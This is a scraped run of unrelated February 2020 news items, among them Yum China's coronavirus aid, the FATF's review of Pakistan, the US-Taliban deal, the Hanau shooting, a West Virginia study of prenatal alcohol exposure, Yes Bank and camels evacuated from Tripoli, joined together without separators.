an interview with IANS, Ayushmann applauded the progressiveness of Bollywood to make important films like Shubh Mangal Zyada Saavdhan. As an artist, Im fortunate and privileged to be living and working in such times. Im proud of my country and industry for the progressiveness that it has shown in the recent past and Im grateful that Im part of such a vision like Shubh Mangal Zyada Saavdhan that tells us about important life and societal lessons, he said. Shubh Mangal Zyada Saavdhan, which also stars Neena Gupta, Gajraj Rao and Maanvi Gagroo in key roles, has just opened in theatres. The film releases alongside Bhanu Pratap Singhs horror film Bhoot Part One: The Haunted Ship, starring Vicky Kaushal and Bhumi Pednekar. Follow @htshowbiz for more Abraham Lincoln presenter George Buss (right) visits a class Thursday at Illinois College in advance of an appearance in the program Lincoln, The Great Communicator. The performance combines period music by folklorist Chris Vallillo (left) with conversation and narrative to explore Lincolns personal and political communications. "Throughout our response efforts, the health and safety of our employees and customers remains our top priority. My sincere appreciation goes to our employees who are working tirelessly to ensure that millions of people have access to healthy and nutritious meals," said Joey Wat, CEO of Yum China. "Yum China has a long-standing commitment to corporate social responsibility, including supporting the community during times of difficulty. While there are significant challenges, I believe there are also opportunities for Yum China to provide practical support to those working on the frontline. We will continue to stand shoulder to shoulder with communities to respond to and recover from the outbreak." Yum China has donated RMB 3 million to support hospital workers in Wuhan, and the Company's brands are also contributing in other ways. Since January 27, the KFC and Pizza Hut brands have been providing up to 1,500 free meals every day to medical workers in hospitals across Wuhan. The initiative has since been expanded, resulting in the delivery of over 70,000 free meals to nearly 500 hospitals and community health centers across mainland China. In addition, the Little Sheep brand has donated 20,000 instant hot-pots to numerous organizations actively involved in efforts to combat the coronavirus. Once the outbreak was confirmed by the relevant authorities, Yum China acted quickly to put in place robust measures to help maintain the safety of employees and customers, while ensuring the continuity of services where appropriate. These measures include enhanced disinfection procedures, mandatory body temperature checks for all employees and the provision of protective masks. Yum China employees are being given additional support, following the launch of a recently upgraded employee insurance policy and a dedicated employee support hotline. The Company's brands have also introduced innovative new services. Since January 30th, the KFC and Pizza Hut brands in China have rolled out contactless delivery services nationwide and contactless in store pick-up services at selected locations in China. These services help reduce the risk of person-to-person transmission of the coronavirus and have been well received by customers. In addition, with companies gradually returning to work following the extended Chinese New Year break, corporate catering services are helping employers to offer healthy and reliable dining options to their staff. To provide greater support and convenience for corporate customers, the KFC and Pizza Hut brands in China have launched an upgraded range of corporate catering solutions. Forward-Looking Statements This press release contains "forward-looking statements" within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. Forward-looking statements generally can be identified by the fact that they do not relate strictly to historical or current facts and by the use of forward-looking words such as "expect," "expectation," "believe," "anticipate," "may," "could," "intend," "belief," "plan," "estimate," "target," "predict," "likely," "will," "should," "forecast," "outlook," "look forward to" or similar terminology. These statements are based on current estimates and assumptions made by us in light of our experience and perception of historical trends, current conditions and expected future developments, as well as other factors that we believe are appropriate and reasonable under the circumstances, but there can be no assurance that such estimates and assumptions will prove to be correct. Forward-looking statements are not guarantees of performance and are inherently subject to known and unknown risks and uncertainties that are difficult to predict and could cause our actual results to differ materially from those indicated by those statements. We cannot assure you that any of our expectations, estimates or assumptions will be achieved. The forward-looking statements included in this press release are only made as of the date of this press release, and we disclaim any obligation to publicly update any forward-looking statement to reflect subsequent events or circumstances, except as required by law. All forward-looking statements should be evaluated with the understanding of their inherent uncertainty. You should consult our filings with the Securities and Exchange Commission (including the information set forth under the captions "Risk Factors" and "Management's Discussion and Analysis of Financial Condition and Results of Operations " in our Annual Report on Form 10-K) for additional detail about factors that could affect our financial and other results. About Yum China Holdings, Inc. Yum China Holdings, Inc. is a licensee of Yum! Brands in mainland China. It has exclusive rights in mainland China to KFC, China's leading quick-service restaurant brand, Pizza Hut, the leading casual dining restaurant brand in China, and Taco Bell, a California-based restaurant chain serving innovative Mexican-inspired food. Yum China also owns the Little Sheep, East Dawning and COFFii & JOY concepts outright. The Company had 9,200 restaurants in over 1,300 cities at the end of December 2019. Yum China ranked # 362 on the Fortune 500 list for 2019. In 2020, Yum China was named to the Bloomberg Gender-Equality Index and was certified as a Top Employer 2020 in China by the Top Employers Institute, both for the second consecutive year. For more information, please visit http://ir.yumchina.com. Investor Relations Contact: Tel: +86 21 2407 7556 [email protected] Media Contact: Tel: +86 21 2407 7510 [email protected] SOURCE Yum China Holdings, Inc. Related Links http://ir.yumchina.com China on Friday praised close-ally Pakistan's enormous efforts in combating terror financing while playing down reports that it backed India and other countries against Islamabad at the just concluded meeting in Paris that retained the country in the Grey List. Asked about reports that China has joined India and other countries in sending a strong message to Pakistan and urging it to fulfil its commitments to fight terror financing and money laundering, Foreign Ministry spokesman Geng Shuang told an online media briefing here that the Financial Action Task Force meeting has decided to give Pakistan more time to implement its action plan on money laundering and terrorist financing. "China's position on the relevant issue remains unchanged. Pakistan has made enormous efforts in improving its counter-terror financing system, which has been recognised by the vast majority of the members at its latest plenary meeting concluded on February 20 in Paris," he said. It was decided at the meeting that Pakistan will be allowed more time to continue implementing its action plan, Geng said, a day after Pakistan Prime Minister Imran Khan spoke to Chinese President Xi Jinping and they agreed to step up communication and exchanges at the highest level to strengthen Pakistan-China all-weather strategic cooperative partnership. China said it stands ready to work with relevant parties to offer more assistance to Pakistan in its efforts against terrorism. China maintains that the purpose and aim of the is to support countries' efforts to strengthen institutions against money laundering and terror financing and safeguard financing system, the spokesman said. The Paris-based FATF, which supervises effective implementation of legal, regulatory and operational measures for combating money laundering, terrorist financing, during the meeting decided continuation of Pakistan in the "Grey List", sources said. The global terror financing watchdog also warned Pakistan that stern action will be taken against it if the country fails to check the flow of money to terror groups like the Lashkar-e-Taiba (LeT), Jaish-e-Mohammed (JeM) among others, the sources said. The FATF in October decided to keep Pakistan on its Grey List for failure to curb funnelling of funds to terror groups like LeT and JeM. If not removed off the list by April, Pakistan may move to a blacklist of countries that face severe economic sanctions, such as Iran. The plenary noted that Pakistan addressed only a few of the 27 tasks given to it in controlling funding to terror groups like LeT, JeM and the Hizbul Mujahideen, which are responsible for a series of attacks in India. The FATF said Pakistan has to swiftly complete its full action plan by June, the source said. India has been maintaining that Pakistan extends regular support to terror groups like LeT, JeM and the Hizbul Mujahideen, whose prime target is India, and has urged the FATF to take action against Islamabad. A deal between the United States and the Taliban is expected to be signed on February 29 provided a "reduction in violence'" due to enter into force at midnight proves successful, U.S. Secretary of State Mike Pompeo said on February 21. The United States and the Taliban have been engaged in talks to facilitate a political settlement to end the conflict in Afghanistan and reduce the U.S. presence in the region, Pompeo said in a statement. "In recent weeks, in consultation with the Government of National Unity, U.S. negotiators in Doha have come to an understanding with the Taliban on a significant and nationwide reduction in violence across Afghanistan," Pompeo said. "Upon a successful implementation of this understanding, signing of the U.S.-Taliban agreement is expected to move forward. We are preparing for the signing to take place on February 29," Pompeo said, adding that intra-Afghan negotiations will start soon thereafter, with the final aim of delivering "a comprehensive and permanent cease-fire and the future political road map for Afghanistan." In a written statement, the Taliban confirmed the planned signing of a deal on February 29 "in front of international observers" and said that "the groundwork for intra-Afghan talks will be resolved," although it did not mention when such talks would start. The Taliban had previously refused to speak directly to the Afghan government, which it labeled a U.S. puppet. Earlier on February 21, a senior Afghan official and several Taliban leaders said that the week-long "reduction in violence" will begin at midnight local time on February 22. "We hope it is extended for a longer time and opens the way for a cease-fire and intra-Afghan talks," Javed Faisal, Afghanistan's National Security Council spokesman, was quoted as saying. The talks between U.S. and Taliban representatives began in Qatar in 2018. Afghan government troops will keep up normal military operations against other militants, such as the Islamic State (IS) group, during the reduction in violence period, Faisal said. He added that Afghan troops will also retaliate to the smallest violation of the understanding by the Taliban. "Local government and security officials have been instructed by the president [Ashraf Ghani)] himself on how to follow the regulations agreed upon for the period [reduced violence]," Faisal said. One Taliban leader based in Qatar's capital, Doha, told Reuters that the week-long lull could not be called a "cease-fire." "Every party has the right of self-defense but there would be no attacks on each other's positions in these seven days, he was quoted by Reuters as saying. Both NATO and Russia hailed the announcement. "It will be an important event for the peace process in Afghanistan," Moscow's Afghanistan envoy, Zamir Kabulov, told the state news agency RIA Novosti, adding that he would attend the signing ceremony if invited. NATO chief Jens Stoltenberg said the agreement opened a possible route to sustainable peace in Afghanistan. "I welcome today's announcement that an understanding has been reached on a significant reduction in violence across Afghanistan," Stoltenberg said in a statement. NATO has a 16,000-strong mission in Afghanistan to train, support, and advise local forces. With reporting by Reuters and AFP A new report from the Organization for Security and Cooperation in Europe (OSCE) on February 20 called for "a new and full investigation" into the murder of Boris Nemtsov, the former Russian opposition politician who was killed almost five years ago near the Kremlin. The report, by the OSCE Parliamentary Assembly's special rapporteur, Margareta Cederfelt, said shortcomings in Russia's original investigation left many questions unanswered.* His death was a tragedy for Russia and had a strong impact on the political climate, spreading fear and possibly opening up for further attacks and repression, the report said. Nemtsov was shot dead at close range on the Bolshoi Moskvoretsky Bridge, near the Kremlin in central Moscow, on February 27, 2015. In June 2017, a Russian court sentenced a former Chechen battalion leader Zaur Dadayev to 20 years in prison for killing Nemtsov. Four other Chechens were found guilty of involvement in the killing and sentenced to prison terms ranging from 11 to 19 years. Critics, including relatives and colleagues of Nemtsov, say Russian authorities failed to determine who ordered the killing. Some have expressed suspicions that the killing was ordered by someone within the inner circle of Russian President Vladimir Putin or Chechen leader Ramzan Kadyrov. The report said organizers and instigators of Nemtsovs killing must be held accountable to instill hope among those in Russia who continue to risk persecution and attacks to fight for democracy and the rule of law. Despite calls both from within Russia and from other countries and from the international community to make sure Mr. Nemtsovs murder was thoroughly, effectively, and transparently investigated so that both perpetrators, organizers, and initiators were held accountable, the official investigation and the following trial has been subject to severe criticism, Cederfelt said. Cederfelt cited important work by independent researchers and experts in filling in the blanks left by Russia's official investigation. They have particularly pointed to the potential involvement of the Chechen leadership and/or security services, even suggesting that the Russian president may be the initiator, Cederfelt said. Cederfelt said that given the shortcomings of the official Russian probe, such arguments can neither be dismissed nor confirmed. The killing of Nemtsov -- a reformist politician, former deputy prime minister, and sharp critic of Putin -- was condemned internationally. Critics say Nemtsov's killing has highlighted the dangers faced by Russians who oppose the Kremlin. Supporters of Nemtsov, including members of the countrys opposition, plan to hold a mass rally in Moscow on February 29 to mark the fifth anniversary of his death. Some opposition supporters also plan to use the rally to protest proposed amendments to the countrys constitution that critics say are aimed at extending Putins grip on power after his current presidential term ends in 2024. * This story has been amended to clarify that the report was written by the OSCE Parliamentary Assembly's special rapporteur, Margareta Cederfelt HANAU, Germany Hundreds of grieving people flocked to Friday prayers in the mosques of the German town of Hanau, two days after a racially motivated shooting shook the country and prompted fresh calls for a crackdown on far-right extremism. Germanys top security official said authorities would step up the police presence throughout the country and keep a closer watch on mosques and other sites. In Hanau, German and Turkish flags flew at half-staff outside a mosque where worshipers gathered Friday. A 43-year-old German man fatally shot nine people with immigrant backgrounds in the Frankfurt suburb late Wednesday before apparently killing his 72-year-old mother and himself. Half of the victims were reported to be Turkish. The man, identified as Tobias Rathjen, left a number of rambling texts and videos espousing racist views and claiming to have been under surveillance since birth. More than 300 people attended prayers at the Turkish-speaking DITIB mosque attended by at least one of the victims. The mood is subdued, said Adam Arslan, a friend of Gokhan Gultekin, who died in the attack. I cannot accept this crime. May our almighty God rest the souls of our brethren who lost their lives in Wednesdays heinous racist attack, Fevzi Hoguk, the imam, or prayer leader, told the congregation. The chairman of the mosque board, Memduh Onder, said the community was not afraid, because we are together, citing the memorial gathering in front of city hall Thursday evening where German President Frank-Walter Steinmeier spoke. The thousands of people on the square, most of them were German, he said. Meanwhile, officials confirmed they had received a letter from the suspect last November in which he sought help from authorities in stopping the surveillance he believed he was under. The letter didnt ring any alarm bells with prosecutors, officials said. Interior Minister Horst Seehofer said state-level security officials and security agencies agreed to increase the law enforcement presence around the country. Seehofer said there would be more surveillance at sensitive sites, including mosques, and a high police presence at railway stations, airports and borders. The threat posed by far-right extremism, anti-Semitism and racism is very high in Germany, Seehofer said. Thousands of people gathered in cities across Germany on Thursday night to hold vigils for the shooting victims but also to express anger that authorities havent done enough to prevent attacks despite a string of incidents in recent years. Last week, authorities arrested 12 men including a police employee on suspicion of planning attacks on Muslims and politicians. Some have also called for a crackdown on the extremist and anti-immigrant ideology that has crept into mainstream political debate with the rise of the Alternative for Germany party, or AfD. David McHugh and Frank Jordans are Associated Press writers. The controversial issue of the return of Libyan Jews to their homeland regained traction recently after United Nations envoy Ghassan Salame met Feb. 6 with Raphael Luzon, chairman of the Union of Libyan Jews, at the UN office in Geneva. Luzon revealed details of the meeting on Facebook, saying, Finally, [we have] international recognition of the Union of Libyan Jews as an official representative of the Libyan Jewish component in Libya, and firm promises of [our] official participation in all upcoming meetings concerning the unity and peace of Libya. He continued, During the meeting with Salame, we talked about the suffering of our country, Libya, in general, and the Libyan Jewish community, in particular, and its struggle to regain its human and social rights and its vision for future solutions to its problems and Libya's problems. Luzon raised controversy in political circles with his announcement that his community will participate in the planned international conferences on the unity and peace of Libya, as well as the possibility of the Libyan Jewish community returning once again and implementing their demands. In a Feb. 10 statement, 70 Libyan parliament members threatened to boycott UN meetings if the Jews participate in any dialogue or Libyan affairs. It said Salame had no authority to make promises on behalf of Libyans. The statement said, [Such promises] can only be explained by opportunism and the poor exploitation of the country's reality in imposing new demographic and political data and can only be considered a provocative act directed against the Libyan people." A number of protesters burned a picture of Luzon during demonstrations Feb. 14 in Benghazi's Kish Square. Those burning my picture are the descendants of the savages who killed us and attacked us in Benghazi in 1967, the descendants of the same mob that attacked my mother in her home and terrorized her and my sisters, Luzon commented on the incident the next day on Facebook. "These are not the people of Benghazi." Luzon, an author and freelance journalist, has chaired the Union of Libyan Jews since 2008. The group is based in Italy. Luzon, who was born in Benghazi, lives in London. Head of the Union of Libyan Jews, Raphael Luzon, seen in a picture uploaded Sept. 12, 2019. (Facebook/ Raphael Faelino Luzon) He told Al-Monitor, The union aims to defend Libyan Jews, recover their property and obtain compensation for the damage caused by the displacement, in addition to preserving the Jewish social and historical heritage. Luzon added, The Jews came to Libya in the sixth century BC for trade and settled in Derna and Benghazi. In June 1967, after the [Six-Day War] between Egypt and Israel, anti-Jewish riots took place. All shops were burned and looted and about 17 people were killed. The Libyan Jews were expelled and they were never allowed to return in the era of former President Moammar Gadhafi. Currently, according to the Jewish Virtual Library and other sources, no Jews remain in Libya, though in 1948 it was estimated 38,000 lived there. Speaking about the number of Libyan Jews around the world, Luzon said, There are about 120,000 Libyan Jews, over 100,000 of whom live in Israel, about 6,000 in Italy and the rest in the United Kingdom and the United States. Luzon said he had requested the Feb. 6 meeting with Salame, "especially after he met with all parties involved in the internal conflict, tribal leaders, mayors and all social components in Libya, with the exception of Libyan Jews. I explained to [Salame] the importance of Libyan Jews being equal to other Libyan components, and he promised [I could] participate in upcoming meetings on the future of Libya," he said. Libyan Jews demand equal rights, the ability to vote, participate in public, social, political and cultural life, and have the right to decide to return, visit and invest in our homeland. Speaking about his position on the armed conflict in Tripoli, Luzon called on all Libyan parties to abandon their egos and put the country's interests first. He called for the formation of a government of national unity and the establishment of an emergency program supported by the United States, Europe and the United Nations. He also called for the creation of a global conference of companies and businessmen to start reconstruction, as well as the formation of a committee to evaluate projects needed by Libya. Luzon explained that he has met and has ties with many Libyan parties and political forces. He added no details except to say he had not met with any leaders of the Libyan National Army, headed by eastern military commander Khalifa Hifter. Hifter's rebel forces are battling the UN-backed government for control of Tripoli in the west. In the same context, Simon Bedosa, a member of the Union of Libyan Jews, told Al-Monitor, The war in Tripoli is caused by the desire of some to exploit Libya for the sake of their interests, and not the interests of the country and the Libyan people. Speaking about the statements rejecting the return of Jews to Libya, he said, Libya is the right of Libyans, and I am a Libyan. We want to visit our homeland, participate in public life and create foreign investments. Bedosa added, The crisis between Palestine and Israel is the reason that some have rejected our return due to the many Arab leaders who have deluded their people into thinking that their priorities are to deal with the Israeli-Palestinian conflict and hate all Jews, whatever their affiliations and opinions. Parliament member Ali al-Tikbali told Al-Monitor, The participation of Libyan Jews in any political dialogues must be a decision made by the Libyan people, and it needs to be discussed in the political dialogue committees that will be under UN auspices and also in the parliament representing the Libyan people. He called the issue of Libyan Jews "sensitive" and said, "Those who will publicly deal with them will definitely lose popularity due to the positions rejecting the Jews. Tikbali explained, The Libyan public is strongly divided when it comes to the Libyan Jews, and there is a large part that rejects them. The issue of the Libyan Jews should thus be dealt with in full transparency and the decision should stem from the Libyan people without the aspirations of the UN mission or anyone else. The Independent Investor: Can Politicians' Promises Be Believed? As the 2020 presidential election campaign heats up, so do the promises. Lower taxes for some, higher taxes for others, better health care, higher Social Security payments; whatever it takes to get elected seems to be on the table for now. But most politician's promises are made to be broken. Once the candidate becomes the president, reality sets in and the blame game starts. "The House is against me." "The Senate won't cooperate." "The deficit is too large." "Spending is out of control." The list of excuses goes on and on. Truth be told, Donald Trump has come the closest to fulfilling at least some of his promises. He gave us a tax cut. He is building his wall. He has moved the U.S. in a dozen ways, away from multinationalism and back to isolationism. He has stood foreign policy on its head by forsaking World War II allies, while embracing dictators such as Putin and Kim Jong Il. Using executive orders, Trump has gutted efforts to control climate change and protect the environment. He has stemmed the flow of immigrants, both legal and illegal, coming into the country. He has packed the courts with conservatives at every level, whether qualified or not. If you are a Republican and a conservative, you should be quite happy with Donald Trump's efforts to deliver on his promises. Now, in preparation for his effort to gain a second term in the White House, he is focusing on the economy and taxes once again. The Trump administration is hard at work devising a middle-class tax cut. Supposedly, this "Tax Cut 2.0" plan would reduce taxes on the middle class by 10-15 percent. It would also make permanent some of the tax cuts that were originally implemented in 2018 but were set to sunset in 2023. Trump is also suggesting a new tax deferred vehicle to encourage lower- and middle-income Americans to invest and save more. One proposal would allow savers who make $200,000 or less to invest $10,000 in the stock market tax-free, in addition to the contributions they are already allowed to make in their 401 (k) or 403 (b) plans at work. Both the president and the Republican Party have experienced blow-back from voters who felt that the 2018 tax cut did far more for the country's business sector than it did for the middle-class. Taking that on board, President Trump is now focusing on remedying that shortfall, while appealing to a wider swath of voters. At the same time, the promises he made that the tax cuts would galvanize corporate America to invest more and thereby grow the economy were not kept. The economy's average growth rate is at about the same level it has been over the last eight years. Part of the reason for that disappointing performance was the economic dampening effects of his multi-year trade war. In that area, he has kept his promise to work on leveling the playing field for the U.S. in global trade. Whether you agree with Donald Trump's policies or not, he has been steadfast in following his own agenda. For those who believe in him, there is no reason to doubt that if he is elected for a second term, he will continue to make good on his promises. Two persons have been arrested here for duping more than 300 unemployed youths by promising them jobs in the Indian Railways, police said on Friday. The accused, Waqar-ul alias Vickey and Sachin, were operating from outside the Baroda House railway headquarters and charged Rs 5 lakh to Rs 10 lakh from aspirants, the police said. Following a tip off, the accused were arrested from Loni area. The police recovered appointment letters, medical examination forms, printed envelopes with railway logo from their possession. The accused have confessed to duping gullible youths looking for job, Superintendent of Police (rural) Neeraj Kumar Jadaun said, adding the gang was operating in several states. The accused used to give advertisements in local newspapers for vacant posts in Group C and D categories. After completing all fake formalities, the gang produced fabricated appointment letters. Police said they are scrutinising their bank transactions and the gang kingpin is yet to be arrested. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) About 8 percent of West Virginia newborns are exposed to alcohol two to four weeks before birth, according to a new study. Alcohol exposure during the last trimester is associated with a range of developmental problems that may not be overtly expressed as cranio-facial deformities, but when these children go to school, you see that there are learning, cognitive, behavioral and so many other deficits--from memory to communicating, socializing and performing daily life skills." Amna Umer, a research assistant professor in the West Virginia University School of Medicine Umer, a researcher in the Department of Pediatrics, is part of a team that investigated the prevalence of prenatal alcohol exposure among babies born in West Virginia. The team was led by Stefan Maxwell, a neonatologist with Charleston Area Medical Center. It also included: Candice Hamilton and Collin John from the WVU Department of Pediatrics. Christa Lilly from the WVU School of Public Health's Department of Biostatistics. Aileen Baldwin from United States Drug Testing Laboratories, Inc. Janine Breyel and Amy Tolliver from the West Virginia Perinatal Partnership. Christina Mullins from the West Virginia Department of Health and Human Resources. A PETH forward for newborn screenings The study comprised 1,729 newborns. The researchers analyzed dried blood spots for phosphatidylethanol--or PETH--a byproduct of metabolizing alcohol. PETH levels in the blood are biomarkers of alcohol exposure in the past two to four weeks. The researchers matched the PETH levels with data from Project WATCH, which collects demographic information and health statistics for every infant born in West Virginia. The team discovered that, on average, 8.10 percent of births involved PETH levels consistent with late-pregnancy alcohol use. The prevalence varied across the state, from 2.3 percent in the Eastern Panhandle to 17.1 percent in and around the Mid-Ohio Valley. The study also found that prenatal alcohol exposure was associated with maternal smoking during pregnancy. And babies exposed to alcohol prenatally were more likely to be born premature (less than 37 weeks) and have a low birth weight (less than 2,000 grams). As part of Project WATCH, all West Virginia birth hospitals use the Birth Score tool to gather data on newborns' exposure to substances in utero. These substances include cannabinoids, tobacco, stimulants and opioids. This month, the Birth Score tool began capturing alcohol exposure data as well. "Importantly, the new maternal substance use data won't be used for any purpose other than public health surveillance," said Hamilton, assistant director of Project WATCH. She predicts that--with the collection of this new information--West Virginia's official rates of prenatal substance exposure will increase overall. Exposure in utero, problems in childhood The actual incidence of drinking during late pregnancy is probably even greater than this study indicates. "The PETH test won't pick up just one glass or wine or one beer," Maxwell said. "It's sensitive only for what we call binge drinking, which would be three or four regular drinks in a day." And the blood samples that the researchers worked with weren't tested for PETH immediately after collection. Six to eight months had elapsed. "We think that the prevalence rate is even higher than 8 percent because of the degradation of our sample," Umer said. Still, the PETH test has an advantage over more conventional blood tests: it can detect biomarkers for alcohol use weeks after the drinking occurred. A regular blood test for the presence of alcohol may only produce valid results within a day of the alcohol exposure. Because of the PETH test's larger window of opportunity, it may prove useful for clinicians who want to screen newborns for alcohol exposure. "The early detection of prenatal alcohol exposure and early diagnosis of fetal alcohol spectrum disorder means that interventions can be targeted at an earlier age to reduce the cognitive and behavioral deficits in later life," Umer said. "The problem is that when children at the age of 6 or 7 start to have these neuro-developmental disorders--leaning disabilities or whatever it may be--they get misdiagnosed," Maxwell said. "They could be misdiagnosed with ADHD or autism or something else, or the diagnosis could be missed altogether. You could imagine these kids in kindergarten, getting bullied or put in the corner or made to sit outside. "It becomes important to know that there was prenatal alcohol exposure," he said. "That would be a differential diagnosis. Because the actual approach to therapy may be a little bit different." She is known for her cutting edge fashion and stunning good looks. And Sofia Richie was taking things to new levels on Thursday evening as she attended her Rolla's x Sofia Richie Collection Launch Event in Hollywood. The model and fashionista, 21, sported a bizarre pair of jeans with a cuffed ankle and a vast corset belt as she turned heads at the bash which marked the launch of her collaboration with the leading denim brand. Waist-ing time: Sofia Richie was taking things to new levels on Thursday evening as she attended her Rolla's x Sofia Richie Collection Launch Event in Hollywood Sofia was breaking fashion boundaries as she sported the loose-fitting jeans which were drawn in at the ankle with a silver tie. Highlighting her tiny waist, she wore a corset style belt around her middle which added an even edgier touch to the get-up. She boosted her height with a pair of sky-high black heels which coordinated perfectly with her suit-style black top. She looked stunning for the outing, which came just days after having her wisdom teeth, which she documented on social media complete with her swollen face. Happy days: The model and fashionista, 21, sported a bizarre pair of jeans with a cuffed ankle and a vast corset belt as she turned heads at the bash which marked the launch of her collaboration with the leading denim brand Silver sensation: Highlighting her tiny waist, she wore a corset style belt around her middle which added an even edgier touch to the get-up On Monday, Sofia took to Instagram to share a picture and update to her followers after the oral surgery. 'Wait this really sucks,' she wrote over a photo of herself laying in bed wearing a jaws wrap and in full makeup, while appearing to be icing down her face. Before getting her teeth pulled, Richie spent Valentine's Day with boyfriend since 2017 Scott Disick. While the pair have been together for two years, their relationship is often on-and-off again. Sources recently told People: 'Scott and Sofia are the type of couple that constantly split up and get back together. It's all very dramatic, and then all good again.' Stunner: She boosted her height with a pair of sky-high black heels which coordinated perfectly with her suit-style black top Recovery: Sofia had her wisdom teeth removed earlier in the week Elsewhere at the bash, Sofia's four-time Grammy winner dad Lionel sweetly supported his youngest daughter. The 70-year-old R&B legend revealed what his love advice was to the 21-year-old Select Model as well as his 38-year-old daughter Nicole growing up. 'Boys, you know, are basic knuckleheads. So when they come to you, you know what that's all about because you were one of them and probably still are,' Lionel told ET on Wednesday. D avid Baddiels superb BBC documentary on Holocaust denial this week do watch it on iPlayer if you havent yet seen it was both chilling in its historical detail and unnerving in its contemporary resonance. At the heart of the programme was an ethical dilemma: whether it was appropriate to meet a Holocaust denier, and thus risk oxygenating a series of claims that are morally and intellectually contemptible. Correctly, Baddiel concluded that on balance it was indeed necessary to confront such a person in his report: supercharged by the internet and the resurgence of the extreme Right, this form of toxic denialism is simply too prevalent now to be dismissed as marginal. It must be satirised, dismantled and challenged relentlessly. It is in the same poisonous context that we must consider the actions of Tobias R, the suspect in the killing of nine people from immigrant backgrounds in Wednesday evenings shootings in Hanau. In the letter and video that he left behind, the shooter apparently demanded the elimination of Israel and the destruction of certain peoples whose expulsion from Germany can no longer be achieved. His statement was, it seems, a demented soup of hatred and conspiracy theories including a personal message to all Americans, referring to the viral digital far-Right conspiracy cult of QAnon that reveres President Donald Trump as a courageous leader battling against ritual paedophilia. Matthew d'Ancona Such gibberish always gives comfort to those who insist on characterising killers such as Tobias R as lone wolves. Yet, as Dutch political scientist Cas Mudde argued in his recent book The Far Right Today, this is a false dichotomy: we need to see such apparently solitary actors in the context of broader far-Right subcultures, particularly online. In Germany, those subcultures have spawned many horrors in recent months. Last Friday, 12 members of an extreme-Right group were arrested, pre-empting an alleged plot to carry out large-scale attacks on mosques. In October, an assault on a synagogue in Halle on the holy day of Yom Kippur resulted in the death of two people. Naturally, the rise of the extreme Right is especially appalling to Germans who have laboured for decades to exorcise the spectre of Nazism. When we need politicians with the courage to stand up to ugly nationalism, we get the exact opposite But the surge in Right-wing identitarianism is a pan-European crisis. As Andrew Parker, the director of MI5, and Cressida Dick, the Commissioner of the Metropolitan Police, have made very clear, the extreme Right deserves to be taken as seriously as jihadi groups: neo-Nazism, both as an online ideology and an incentive to violence, is a clear and present danger in 21st-century Britain. A third of all terror plots to kill between 2017 and 2019 were planned by the far Right. What has changed, and dramatically so, is the relationship between mainstream politics and what used to be considered the fringe. In 1968, Enoch Powells rivers of blood speech provided a rhetorical border beyond which respectable politicians would not tread: it defined the boundaries of acceptable debate on race, immigration and our multi-ethnic society. But those boundaries have melted away. The distinction between the margins and the mainstream is no longer clear: instead, there is a continuum of rhetoric and activism that stretches from the centre of politics to the most hideous recesses of the online world. To be absolutely clear: Nigel Farages appalling Breaking Point poster during the 2016 referendum campaign was not an incitement to murder, or anything like it. Boris Johnsons description of Muslim women in religious clothing as letterboxes and those who wear the niqab, covering the face, as looking like a bank robber was not directly intended to stir up race hate. Equally, it is idle to pretend that such imagery, tropes and rhetoric do not raise the social temperature and for those looking for an excuse create what appears to be a permissive environment for more extreme action. This is the price of populism. Senior politicians used to argue that effective immigration control was necessary to prevent the rise of far-Right nationalism. In contrast, todays populist governments stir up emotions instead of restraining them. When Donald Trump stated that there were very fine people on the neo-Nazi side of the Charlottesville riots he crossed a line and many others around the world have followed. Witness the unintelligible mess of Home Secretary Priti Patels new immigration rules. Presented as an exercise in economic logic, they enshrine precisely the opposite a shabby nativism camouflaged as a crusade to upskill those who are British-born and economically inactive (most of whom, in fact, are carers, students, the retired, and the long-term sick). It is a labour-market strategy doomed to failure. But the invidious sentiments to which it appeals that we are indeed at breaking point, that foreigners take jobs from Britons, that immigration sharply depresses wages will be bolstered, yet again. The very premise of this blueprint is divisive; its prospects of success, given Patels spectacularly dysfunctional management style, are vanishingly small. But it is important that she alone does not carry the can. Every minister who has signed up to the new rules of the Johnson regime must own the consequences of this plan. Reports suggest that the Hinduja Group is partnering with private equity firm Cerberus Capital Management LP in seeking to pick up a stake in embattled Yes Bank. However, both Yes Bank and Hinduja Group have not disclosed any information regarding the same. Mumbai: Cash-starved private lender Yes Bank may be rescued by the Hinduja Group as reports say that Gopichand Hinduja and Ashok Hinduja met Reserve Bank of India officials earlier this month regarding the bid. The fourth-largest private lender had earlier said it has delayed its third-quarter earnings as the bank is reviewing non-binding expressions of interest from four investors. In a filing to the BSE, the bank said it had received non-binding expressions of interest (EoIs) from several investors including J.C. Flowers & Co, Tilden Park Capital Management, OHA (UK) LLP (part of Oak Hill Advisors), and Silver Point Capital. Yes Bank has bore the brunt of several ratings downgrades due to the uncertainty over its capital infusion plan. A number of rating firms have red-flagged the bank's exposure to stressed projects too. Rating agency ICRA noted that Yes Bank's solvency profile remains weak with net NPA/CET of 36 percent as on September 30, 2019. Owing to uncertainty over its future, Yes Bank, once billed as a favourite of traders, has gained the reputation of being one of the biggest wealth destroyers in the market. About 3,000 camels imported from Australia have been herded out of Libyas capital, Tripoli, in an overnight evacuation after the port where they arrived came under artillery fire. The camels left Tripolis port shortly after midnight on Wednesday and were walked west along a highway to the city of Zawiya, some 30 miles away, where they arrived on Thursday morning, according to a local merchant. However, he said that a local armed group had stolen 125 of the camels as they passed through the Tripoli suburb of Janzour. A Reuters reporter saw about 20 camel herders whipping the animals into line as they left central Tripoli, with some animals trying to search for food along the side of the road. Security forces temporarily closed the road to let them pass. The merchant said a fellow businessman from Zawiya bought the camels after hearing they were being sold off cheaply in Australia, where, according to media reports, thousands of camels that had begun searching for scarce water in residential areas were culled. Protests against Turkey sending forces to Libya Show all 12 1 /12 Protests against Turkey sending forces to Libya Protests against Turkey sending forces to Libya A woman brandishing a rifle takes part in a demonstration held by Libyans and Syrians in the eastern Libyan city of Benghazi to protest against Turkey's prospective military intervention AFP via Getty Protests against Turkey sending forces to Libya Reuters Protests against Turkey sending forces to Libya AFP via Getty Protests against Turkey sending forces to Libya AFP via Getty Protests against Turkey sending forces to Libya Turkish members of parliament vote to send Turkish troops to Libya. They passed a bill approving a military deployment to Libya aimed at shoring up the UN-backed government in Tripoli, at a time of intensifying international tensions over the conflict. The beleaguered Tripoli government has been under sustained attack since April by military strongman General Khalifa Haftar, who is backed by Turkey's regional rivals - Saudi Arabia, Egypt and the United Arab Emirates AFP via Getty Protests against Turkey sending forces to Libya Reuters Protests against Turkey sending forces to Libya Reuters Protests against Turkey sending forces to Libya AFP via 